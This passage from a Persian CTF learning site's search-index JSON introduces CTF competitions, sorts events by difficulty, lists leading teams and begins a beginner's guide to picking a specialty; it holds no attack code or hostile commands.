\u0627\u0645\u0627 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u0648\u0636\u0648\u0639\u06cc \u0628\u0647 \u0634\u06a9\u0644 \u0622\u0646\u0644\u0627\u06cc\u0646 \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-_2","title":"\u06f3- \u0628\u0631\u0627\u0633\u0627\u0633 \u0645\u062f\u062a \u0628\u0631\u06af\u0632\u0627\u0631\u06cc","text":"

\u0628\u0631\u062e\u06cc \u0627\u0632 CTF\u0647\u0627 \u062f\u0627\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u0632\u0645\u0627\u0646\u06cc \u0646\u06cc\u0633\u062a\u0646\u062f \u0648 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0622\u0646\u0647\u0627 \u0645\u0639\u0645\u0648\u0644\u0627 \u0628\u0631\u0627\u06cc \u0645\u062f\u062a \u0632\u06cc\u0627\u062f\u06cc \u0631\u0648\u06cc \u0648\u0628\u0633\u0627\u06cc\u062a \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f. \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0627\u0632 CTF \u0628\u0647 wargame \u0645\u0639\u0631\u0648\u0641 \u0627\u0633\u062a. \u0627\u06af\u0631\u0686\u0647 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0627\u0632 CTF\u0647\u0627 \u0647\u06cc\u062c\u0627\u0646 \u0631\u0642\u0627\u0628\u062a \u062f\u0631 \u06cc\u06a9 \u0645\u062f\u062a \u0632\u0645\u0627\u0646 \u0645\u062d\u062f\u0648\u062f \u0631\u0627 \u0646\u062f\u0627\u0631\u0646\u062f \u0627\u0645\u0627 \u06af\u0632\u06cc\u0646\u0647 \u0645\u0646\u0627\u0633\u0628\u06cc \u0628\u0631\u0627\u06cc \u062a\u0645\u0631\u06cc\u0646 \u0648 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0628\u0647 \u0634\u0645\u0627\u0631 \u0645\u06cc\u200c\u0631\u0648\u0646\u062f. \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc wargame \u0647\u0631 \u062f\u0648 \u0646\u0648\u0639 \u0686\u0627\u0644\u0634 \u06cc\u0639\u0646\u06cc \u0645\u0648\u0636\u0648\u0639\u06cc \u0648 \u062f\u0641\u0627\u0639-\u062d\u0645\u0644\u0647 \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u0627\u0632 \u0645\u0634\u0647\u0648\u0631\u062a\u0631\u06cc\u0646 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 hackthebox \u060cRoot-Me OverTheWire \u0648 TryHackMe \u0631\u0627 \u0646\u0627\u0645 \u0628\u0631\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#ctf_4","title":"\u0633\u0637\u062d \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF","text":"

\u0628\u0631\u0627\u06cc \u0634\u0631\u06a9\u062a \u062f\u0631 \u0647\u0631 \u0645\u0633\u0627\u0628\u0642\u0647 CTF \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u0633\u0637\u062d \u0622\u0646 \u0645\u0633\u0627\u0628\u0642\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u0645. \u0628\u0647 \u0637\u0648\u0631 \u06a9\u0644\u06cc \u0628\u0627\u06cc\u062f \u062f\u0631 \u0646\u0638\u0631 \u062f\u0627\u0634\u062a \u06a9\u0647 \u062a\u0639\u06cc\u06cc\u0646 \u0633\u0637\u062d \u06cc\u06a9 \u0645\u0633\u0627\u0628\u0642\u0647 \u06cc\u06a9 \u0627\u0645\u0631 \u0646\u0633\u0628\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u0631\u062a \u0648 \u062f\u0627\u0646\u0634 \u0642\u0628\u0644\u06cc \u0627\u0641\u0631\u0627\u062f \u0628\u0633\u062a\u06af\u06cc \u062f\u0627\u0631\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0631\u0627 \u0628\u0631\u0627\u0633\u0627\u0633 \u0648\u0632\u0646\u200c\u062f\u0647\u06cc \u0633\u0627\u06cc\u062a ctftime \u0628\u0647 \u0633\u0647 \u062f\u0633\u062a\u0647 \u062a\u0642\u0633\u06cc\u0645 \u06a9\u0631\u062f\u06cc\u0645 \u0648 \u0628\u0631\u0627\u06cc \u0647\u0631 \u0633\u0637\u062d \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0628\u0647\u062a\u0631 \u0648 \u0634\u0646\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0631\u0627 \u0645\u0639\u0631\u0641\u06cc \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-_3","title":"\u06f1- \u0645\u0628\u062a\u062f\u06cc","text":"

\u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u06cc\u0646 \u0648\u0632\u0646 \u0635\u0641\u0631 \u062a\u0627 \u06f4\u06f0 \u062f\u0627\u0631\u0646\u062f \u0645\u0639\u0645\u0648\u0644\u0627 \u0645\u0633\u0627\u0628\u0642\u0627\u062a\u06cc \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u0641\u0631\u0627\u062f \u062a\u0627\u0632\u0647 \u0648\u0627\u0631\u062f \u0628\u0647 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u062a\u0639\u062f\u0627\u062f \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627 \u0628\u0633\u06cc\u0627\u0631 \u0628\u06cc\u0634\u062a\u0631 \u0627\u0632 \u0633\u0627\u06cc\u0631 \u0633\u0637\u0648\u062d \u0627\u0633\u062a \u0648 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0622\u0646\u200c\u0647\u0627 \u0645\u0641\u0627\u0647\u06cc\u0645 \u0627\u0648\u0644\u06cc\u0647 \u0627\u0645\u0646\u06cc\u062a \u062a\u0627 \u0645\u0633\u0627\u0626\u0644 \u0628\u0627 \u062f\u0631\u062c\u0647 \u0633\u062e\u062a\u06cc \u0645\u062a\u0648\u0633\u0637 \u0631\u0627 \u067e\u0648\u0634\u0634 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u0627\u0632 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u0637\u0631\u062d \u0648 \u0642\u0627\u0628\u0644 \u0642\u0628\u0648\u0644 \u062f\u0631 \u0627\u06cc\u0646 \u0633\u0637\u062d \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0632 HackTheBoxCTF \u060cImaginaryCTF \u060cSunshineCTF \u0648 picoctf \u0646\u0627\u0645 \u0628\u0631\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0627\u06cc\u062f \u062f\u0631 \u0646\u0638\u0631 \u062f\u0627\u0634\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062f\u0631 \u06af\u0630\u0631 \u0632\u0645\u0627\u0646 \u0648 \u0628\u0631\u0627\u0633\u0627\u0633 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0639\u062f\u0627\u064b \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u062f\u0631 \u0633\u0637\u062d \u062f\u0634\u0648\u0627\u0631\u062a\u0631\u06cc \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u0646\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-_4","title":"\u06f2- \u0645\u062a\u0648\u0633\u0637","text":"

\u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627\u06cc \u0633\u0637\u062d \u0645\u062a\u0648\u0633\u0637 \u0645\u0639\u0645\u0648\u0644\u0627 \u0648\u0632\u0646\u200c \u0628\u06cc\u0646 \u06f4\u06f0 \u062a\u0627 \u06f8\u06f0 \u0631\u0627 \u062f\u0627\u0631\u0646\u062f. \u062a\u0639\u062f\u0627\u062f \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627 \u0645\u0639\u0645\u0648\u0644\u0627 \u0646\u0633\u0628\u062a \u0628\u0647 \u0633\u0637\u062d \u0645\u0628\u062a\u062f\u06cc \u06a9\u0645\u062a\u0631 \u0627\u0633\u062a \u0632\u06cc\u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u06cc\u06a9 \u0645\u0633\u0627\u0628\u0642\u0647 \u0628\u0627 \u06a9\u06cc\u0641\u06cc\u062a \u062f\u0631 \u0633\u0637\u062d \u0645\u062a\u0648\u0633\u0637 \u0645\u0639\u0645\u0648\u0644\u0627 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0628\u0631\u06af\u0632\u0627\u0631\u06cc \u067e\u06cc\u0648\u0633\u062a\u0647 \u0645\u0633\u0627\u0628\u0642\u0647 \u062f\u0631 \u0633\u0637\u062d \u0642\u0627\u0628\u0644 \u0642\u0628\u0648\u0644 \u0631\u0627 \u062f\u0627\u0631\u062f. \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 CTF\u0647\u0627\u06cc \u0627\u06cc\u0646 \u0633\u0637\u062d \u062f\u0631 \u0632\u0645\u0627\u0646 \u0646\u06af\u0627\u0631\u0634 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u0634\u0627\u0645\u0644 RuCTF \u060cSecurinets-CTF \u060cUIUCTF MidnightSunCTF \u0648 bi0sCTF \u0627\u0633\u062a.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-_5","title":"\u06f3- \u062d\u0631\u0641\u0647\u200c\u0627\u06cc","text":"

\u0628\u0647\u062a\u0631\u06cc\u0646 \u0648 \u0645\u0639\u0645\u0648\u0644\u0627 \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u062f\u0631 \u0627\u06cc\u0646 \u0633\u0637\u062d \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u0646\u062f. \u0648\u0632\u0646 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u063a\u0644\u0628 \u0628\u0627\u0644\u0627\u062a\u0631 \u0627\u0632 \u06f8\u06f0 \u0627\u0633\u062a \u06a9\u0647 \u0645\u0646\u0627\u0633\u0628 \u0627\u0641\u0631\u0627\u062f\u06cc \u0628\u0627 \u062f\u0627\u0646\u0634 \u0648 \u062a\u062c\u0631\u0628\u0647 \u0628\u0627\u0644\u0627 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0627\u0633\u062a. \u062a\u0639\u062f\u0627\u062f \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u06cc\u0646 \u0633\u0637\u062d \u0627\u0646\u06af\u0634\u062a \u0634\u0645\u0627\u0631 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0622\u0646\u200c\u0647\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u06cc \u0645\u0642\u062f\u0645\u0627\u062a\u06cc \u0628\u0631\u0627\u06cc \u0631\u0627\u0647\u200c\u06cc\u0627\u0628\u06cc \u0628\u0647 Defcon CTF \u062f\u0631 \u0646\u0638\u0631 \u06af\u0631\u0641\u062a\u0647 \u0634\u062f\u0647 \u062a\u0627 \u062a\u06cc\u0645\u200c\u0647\u0627\u06cc \u0642\u0647\u0631\u0645\u0627\u0646 \u062f\u0631 \u0622\u0646\u200c\u0647\u0627 \u0628\u0647 Defcon CTF \u0631\u0627\u0647 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0646\u062f. \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0634\u0627\u0645\u0644 PlaidCTF \u060c0CTF \u060cASIS-CTF \u060cGoogle-CTF \u0648 HITCON-CTF \u0627\u0633\u062a.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#_2","title":"\u0642\u0648\u0627\u0646\u06cc\u0646","text":"

\u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0642\u0648\u0627\u0646\u06cc\u0646 \u0628\u0633\u06cc\u0627\u0631 \u0633\u062e\u062a\u200c\u06af\u06cc\u0631\u0627\u0646\u0647\u200c\u0627\u06cc \u0646\u062f\u0627\u0631\u062f. \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0648 \u06af\u0641\u062a\u06af\u0648 \u062f\u0631 \u0645\u0648\u0631\u062f \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u062f\u0631 \u062f\u0627\u062e\u0644 \u062a\u06cc\u0645 \u0627\u062a\u0641\u0627\u0642 \u0645\u06cc\u200c\u0627\u0641\u062a\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u0648\u062c\u0648\u062f \u0628\u0631\u062e\u06cc \u0627\u0632 \u0642\u0648\u0627\u0646\u06cc\u0646 \u062f\u0631 CTF \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0644\u06cc\u0633\u062a \u0634\u062f\u0647 \u0627\u0633\u062a:

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#_3","title":"\u062a\u06cc\u0645\u200c\u0647\u0627\u06cc \u0645\u0637\u0631\u062d \u062c\u0647\u0627\u0646\u06cc","text":"

\u0627\u0632 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 ctftime \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f1 \u0634\u0631\u0648\u0639 \u0628\u0647 \u062b\u0628\u062a \u0642\u0647\u0631\u0645\u0627\u0646 \u0645\u062c\u0645\u0648\u0639 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0647\u0631 \u0633\u0627\u0644 \u06a9\u0631\u062f\u0647\u060c \u0647\u0634\u062a \u062a\u06cc\u0645 \u062a\u0648\u0627\u0646\u0633\u062a\u0647\u200c\u0627\u0646\u062f \u0631\u062a\u0628\u0647 \u0627\u0648\u0644 \u062c\u0647\u0627\u0646\u06cc \u062f\u0631 \u0633\u0627\u0644\u200c\u0647\u0627\u06cc \u0645\u062a\u0641\u0627\u0648\u062a \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u0646\u062f. \u062f\u0631 \u062c\u062f\u0648\u0644 \u0632\u06cc\u0631 \u062f\u0647 \u062a\u06cc\u0645\u200c \u0628\u0631\u062a\u0631 \u062a\u0627 \u0633\u0627\u0644 \u06f2\u06f0\u06f2\u06f3 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 \u062f\u0641\u0639\u0627\u062a \u0642\u0647\u0631\u0645\u0627\u0646\u06cc \u0648 \u0646\u0627\u06cc\u0628 \u0642\u0647\u0631\u0645\u0627\u0646\u06cc \u0644\u06cc\u0633\u062a \u0627\u0633\u062a:

\u062a\u06cc\u0645 \u0642\u0647\u0631\u0645\u0627\u0646\u06cc \u0646\u0627\u06cc\u0628 \u0642\u0647\u0631\u0645\u0627\u0646\u06cc \u06a9\u0634\u0648\u0631 Plaid Parliament of Pwning (PPP) \u06f3 \u06f3 Dragon Sector \u06f3 \u06f2 perfect blue \u06f2 \u06f1 More Smoked Leet Chicken \u06f1 \u06f2 organizers \u06f1 \u06f1 duca \u06f1 \u06f0 Eat, Sleep, Pwn, Repeat \u06f1 \u06f0 Blue Water \u06f1 \u06f0 Balsn \u06f0 \u06f1 C4T BuT S4D \u06f0 \u06f1

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#_4","title":"\u0633\u062e\u0646 \u067e\u0627\u06cc\u0627\u0646\u06cc","text":"

\u0627\u06af\u0631 \u0641\u0631\u062f \u0628\u0627 \u062a\u062c\u0631\u0628\u0647\u200c\u0627\u06cc \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0647\u0633\u062a\u06cc\u062f \u06a9\u0647 \u0642\u0635\u062f \u0628\u0647 \u0686\u0627\u0644\u0634 \u06a9\u0634\u06cc\u062f\u0646 \u062a\u0648\u0627\u0646\u0627\u06cc\u06cc \u062e\u0648\u062f \u0631\u0627 \u062f\u0627\u0631\u06cc\u062f\u060c \u06cc\u0627 \u0628\u0647 \u062f\u0646\u0628\u0627\u0644 \u0647\u06cc\u062c\u0627\u0646 \u0648 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0628\u06cc\u0634\u062a\u0631 \u0627\u0645\u0646\u06cc\u062a \u0647\u0633\u062a\u06cc\u062f\u060c \u06cc\u06a9\u06cc \u0628\u0647\u062a\u0631\u06cc\u0646 \u0627\u0646\u062a\u062e\u0627\u0628\u200c\u0647\u0627 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627\u06cc CTF \u0627\u0633\u062a. \u0627\u06af\u0631 \u0647\u0646\u0648\u0632 \u062a\u062c\u0631\u0628\u0647 \u0634\u0631\u06a9\u062a \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627 \u0631\u0648 \u0646\u062f\u0627\u0634\u062a\u06cc\u062f \u0628\u0647\u062a\u0631\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u06cc\u06a9 \u0633\u0631 \u0628\u0647 \u0633\u0627\u06cc\u062a ctftime \u0628\u0632\u0646\u06cc\u062f \u0648 \u062f\u0631 \u0646\u0632\u062f\u06cc\u06a9\u200c\u200c\u062a\u0631\u06cc\u0646 CTF \u0634\u0631\u06a9\u062a \u06a9\u0646\u06cc\u062f \u0648 \u0647\u0645\u0632\u0645\u0627\u0646 \u0644\u0630\u062a \u062d\u0644 \u0686\u0627\u0644\u0634 \u0648 \u0647\u06cc\u062c\u0627\u0646 \u0631\u0642\u0627\u0628\u062a \u0631\u0627 \u0628\u0628\u0631\u06cc\u062f.

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/beginners-guide/","title":"\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639 CTF","text":"

\u062d\u0627\u0644 \u06a9\u0647 \u0628\u0627 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0622\u0634\u0646\u0627 \u0634\u062f\u06cc\u062f \u0633\u0648\u0627\u0644 \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647: \u0627\u0632 \u06a9\u062c\u0627 \u0628\u0627\u06cc\u062f \u0634\u0631\u0648\u0639 \u06a9\u0646\u0645 \u0648 \u0646\u0642\u0634\u0647 \u0631\u0627\u0647 \u0645\u0646\u0627\u0633\u0628 \u0686\u06cc\u0633\u062a\u061f \u0686\u0637\u0648\u0631\u06cc \u0628\u0647 \u06cc\u06a9 \u0634\u062e\u0635 \u0645\u0627\u0647\u0631 \u062f\u0631 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc CTF \u062a\u0628\u062f\u06cc\u0644 \u0628\u0634\u0645\u061f \u062f\u0631 \u0627\u06cc\u0646 \u0627\u06cc\u0646\u062c\u0627 \u0642\u0635\u062f \u062f\u0627\u0631\u06cc\u0645 \u0628\u0647 \u0627\u06cc\u0646 \u067e\u0631\u0633\u0634\u200c\u0647\u0627 \u0628\u0647 \u0634\u06a9\u0644 \u06a9\u0644\u06cc \u062c\u0648\u0627\u0628 \u0628\u062f\u06cc\u0645 \u0648 \u06cc\u06a9 \u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc \u0627\u0648\u0644\u06cc\u0647 \u0628\u0631\u0627\u06cc \u0627\u0641\u0631\u0627\u062f \u062a\u0627\u0632\u0647 \u0648\u0627\u0631\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062d\u0648\u0632\u0647 \u0627\u0631\u0627\u0626\u0647 \u0628\u062f\u06cc\u0645 \u0648 \u0633\u067e\u0633 \u062f\u0631 \u0647\u0631 \u062f\u0633\u062a\u0647 \u0628\u0647 \u0637\u0648\u0631 \u062a\u062e\u0635\u0635\u06cc\u200c\u062a\u0631 \u062c\u0632\u06cc\u06cc\u0627\u062a\u06cc \u0627\u0631\u0627\u0626\u0647 \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u062f.

\u0628\u0627 \u0641\u0631\u0636 \u0627\u06cc\u0646\u06a9\u0647 \u06cc\u06a9 \u0622\u0634\u0646\u0627\u06cc\u06cc \u0645\u0642\u062f\u0645\u0627\u062a\u06cc \u0628\u0627 \u06a9\u0627\u0645\u067e\u06cc\u0648\u062a\u0631\u060c \u06cc\u06a9 \u0632\u0628\u0627\u0646\u200c \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u0648 \u0627\u0646\u062f\u06a9\u06cc \u062f\u0627\u0646\u0634 \u0632\u0628\u0627\u0646 \u0627\u0646\u06af\u0644\u06cc\u0633\u06cc \u062f\u0627\u0631\u06cc\u062f \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0634\u0631\u0648\u0639 \u0628\u0647 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc CTF \u06a9\u0646\u06cc\u062f. \u0628\u0627\u06cc\u062f \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a \u06a9\u0647 \"\u0634\u0631\u0648\u0639\" \u06cc\u06a9 \u0645\u0641\u0647\u0648\u0645 \u0646\u0633\u0628\u06cc \u0648 \u0633\u0644\u06cc\u0642\u0647\u200c\u0627\u06cc \u0627\u0633\u062a\u060c \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644 \u06af\u0627\u0645\u200c\u0647\u0627\u06cc \u0632\u06cc\u0631 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 \u062d\u0627\u0648\u06cc \u0646\u06a9\u0627\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u0634\u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0648\u0631\u062f \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u062f.

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-","title":"\u06f1- \u06cc\u0627\u0641\u062a\u0646 \u062d\u0648\u0632\u0647 \u0645\u0648\u0631\u062f \u0639\u0644\u0627\u0642\u0647","text":"

\u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u062d\u0648\u0632\u0647 \u0645\u0648\u0631\u062f \u0639\u0644\u0627\u0642\u0647\u200c \u062f\u0631 CTF \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0648\u0644\u06cc\u0646 \u06af\u0627\u0645 \u0645\u0647\u0645 \u0628\u0631\u0627\u06cc \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0633\u06cc\u0631 \u0628\u0627\u0634\u062f. \u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u0645\u0646\u0648\u06cc \u0628\u0627\u0644\u0627 \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u062f \u0634\u0627\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0627\u0632 \u0627\u0645\u0646\u06cc\u062a \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f. \u062f\u0633\u062a\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 CTF \u0645\u0627\u0646\u0646\u062f \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u060c \u0648\u0628\u060c pwn\u060c \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633 \u0648 \u062c\u0631\u0645\u200c\u0634\u0646\u0627\u0633\u06cc \u062d\u0648\u0632\u0647\u200c\u0647\u0627\u06cc \u0627\u0635\u0644\u06cc \u062f\u0631 CTF \u0647\u0633\u062a\u0646\u062f. \u0628\u0627 \u0645\u0631\u0627\u062c\u0639\u0647 \u0628\u0647 \u0647\u0631 \u0634\u0627\u062e\u0647 \u0627\u0632 \u0645\u0646\u0648\u06cc \u0628\u0627\u0644\u0627 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a\u06cc \u062f\u0631 \u0645\u0648\u0631\u062f \u0622\u0646 \u062f\u0633\u062a\u0647 \u0648 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0622\u0646 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u0634\u0627\u06cc\u062f \u0628\u0647 \u0634\u0645\u0627 \u062f\u0631 \u0627\u0646\u062a\u062e\u0627\u0628 \u062e\u0648\u062f \u06a9\u0645\u06a9 \u06a9\u0646\u062f. - \u062a\u0648\u0635\u06cc\u0647: \u0627\u06af\u0631\u0686\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062f\u0631 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u062f\u0633\u062a\u0647\u200c\u0647\u0627 \u0641\u0639\u0627\u0644\u06cc\u062a \u06a9\u0646\u06cc\u062f \u0627\u0645\u0627 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u06cc\u06a9 \u062d\u0648\u0632\u0647 \u0631\u0627 \u0639\u0645\u06cc\u0642\u200c\u062a\u0631 \u0648 \u062a\u062e\u0635\u0635\u06cc\u200c\u062a\u0631 \u062f\u0646\u0628\u0627\u0644 \u06a9\u0646\u06cc\u062f \u0648 \u0633\u0627\u06cc\u0631 \u062d\u0648\u0632\u0647\u200c\u0647\u0627 \u0631\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u062f\u0627\u0646\u0634 \u0627\u0636\u0627\u0641\u06cc \u062f\u0631 \u06a9\u0646\u0627\u0631 \u0622\u0646 \u062a\u0642\u0648\u06cc\u062a \u06a9\u0646\u06cc\u062f.

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-_1","title":"\u06f2- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0622\u0645\u0648\u0632\u0634\u06cc","text":"

